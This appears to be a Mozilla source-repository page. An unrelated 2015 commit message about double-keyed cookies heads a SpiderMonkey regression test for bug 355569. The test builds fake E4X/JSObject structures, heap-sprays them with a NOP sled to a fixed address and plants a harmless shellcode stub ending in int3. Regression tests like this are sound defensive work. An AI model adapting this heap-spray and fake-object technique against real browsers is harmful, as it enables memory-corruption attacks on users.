Sat, 03 Jan 2015 20:18:00 +0100
Conditionally enable double key logic according to:
private browsing mode or privacy.thirdparty.isolate preference and
implement in GetCookieStringCommon and FindCookie where it counts...
With some reservations of how to convince FindCookie users to test
condition and pass a nullptr when disabling double key logic.
1 /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
3 /* This Source Code Form is subject to the terms of the Mozilla Public
4 * License, v. 2.0. If a copy of the MPL was not distributed with this
5 * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
7 var bug = 355569;
8 var actual = '';
9 var expect = '';
11 printBugNumber (bug);
12 printStatus (summary);
14 var targetAddress = 0x12030010;
15 var sprayParams = {
16 chunkSize: 16 * 1024 * 1024,
17 chunkCount: 16,
18 chunkMarker: 0xdeadface,
19 chunkAlign: 0x1000,
20 reservedSize: 1024
21 };
23 function makeExploitCode() {
24 /* mov eax, 0xdeadfeed; mov ebx, eax; mov ecx, eax; mov edx, eax; int3 */
25 return "\uEDB8\uADFE\u89DE\u89C3\u89C1\uCCC2";
26 }
28 /*==========================================================================*/
29 /*==========================================================================*/
31 function packData(template, A) {
32 var n = 0, result = "", vl;
33 for(var i = 0; i < template.length; i++) {
34 var ch = template.charAt(i);
35 if(ch == "s" || ch == "S") {
36 vl = A[n++] >>> 0; result += String.fromCharCode(vl & 0xffff);
37 } else if(ch == "l" || ch == "L") { // XXX endian
38 vl = A[n++] >>> 0; result += String.fromCharCode(vl & 0xffff, vl >> 16);
39 } else if(ch == "=") {
40 result += String(A[n++]);
41 }
42 }
43 return result;
44 }
45 function buildStructure(worker, address) {
46 var offs = {}, result = "", context = {
47 append: function(k, v) { offs[k] = result.length * 2; result += v; },
48 address: function(k) { return address + ((k && offs[k]) || 0); }
49 }; worker(context); result = ""; worker(context); return result;
50 }
51 function repeatToLength(s, L) {
52 if(L <= s.length) { return s.substring(0, L); }
53 while(s.length <= L/2) { s += s; }
54 return s + s.substring(0, L - s.length);
55 }
56 function sprayData(data, params, rooter) {
57 var marker = packData("L", [ params.chunkMarker ]);
58 data += repeatToLength("\u9090", params.chunkAlign / 2 - data.length);
59 data = repeatToLength(data, (params.chunkSize - params.reservedSize) / 2);
60 for(var i = 0; i < params.chunkCount; i++) {
61 rooter[i] = marker + data + i;
62 }
63 }
65 function T_JSObject(map, slots)
66 { return packData("LL", arguments); }
67 function T_JSObjectMap(nrefs, ops, nslots, freeslot)
68 { return packData("LLLL", arguments); }
69 function T_JSObjectOps(
70 newObjectMap, destroyObjectMap, lookupProperty, defineProperty,
71 getProperty, setProperty, getAttributes, setAttributes,
72 deleteProperty, defaultValue, enumerate, checkAccess,
73 thisObject, dropProperty, call, construct,
74 xdrObject, hasInstance, setProto, setParent,
75 mark, clear, getRequiredSlot, setRequiredSlot
76 ) { return packData("LLLLLLLL LLLLLLLL LLLLLLLL", arguments); }
78 function T_JSXML_LIST(
79 object, domnode, parent, name, xml_class, xml_flags,
80 kids_length, kids_capacity, kids_vector, kids_cursors,
81 xml_target, xml_targetprop
82 ) { return packData("LLLLSS LLLL LL", arguments); }
83 function T_JSXML_ELEMENT(
84 object, domnode, parent, name, xml_class, xml_flags,
85 kids_length, kids_capacity, kids_vector, kids_cursors,
86 nses_length, nses_capacity, nses_vector, nses_cursors,
87 atrs_length, atrs_capacity, atrs_vector, atrs_cursors
88 ) { return packData("LLLLSS LLLL LLLL LLLL", arguments); }
90 /*==========================================================================*/
91 /*==========================================================================*/
93 function makeExploitData(address) {
94 return buildStructure(function(ctx) {
95 ctx.append("xml-list",
96 T_JSXML_LIST(0, 0, 0, 0, 0, 0, 1, 0, ctx.address("xml-kids-vector"), 0, 0, 0));
97 ctx.append("xml-kids-vector",
98 packData("L", [ ctx.address("xml-element") ]));
99 ctx.append("xml-element",
100 T_JSXML_ELEMENT(ctx.address("object"), 0, 0, 0, 1, 0, 0, 0, 0, 0, /*c*/ 0, 0, 0, 0, /*d*/ 0, 0, 0, 0));
101 ctx.append("object",
102 T_JSObject(ctx.address("object-map"), 0));
103 ctx.append("object-map",
104 T_JSObjectMap(0, ctx.address("object-ops"), 0, 0));
105 ctx.append("object-ops",
106 T_JSObjectOps(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ctx.address("exploit-code"), 0));
107 ctx.append("exploit-code",
108 makeExploitCode(ctx));
109 }, address);
110 }
112 function exploit() {
113 sprayData(makeExploitData(targetAddress), sprayParams, this.rooter = {});
114 var numobj = new Number(targetAddress >> 1);
115 printStatus("probably not exploitable");
116 }
118 try
119 {
120 exploit();
121 }
122 catch(ex)
123 {
124 }
126 reportCompare(expect, actual);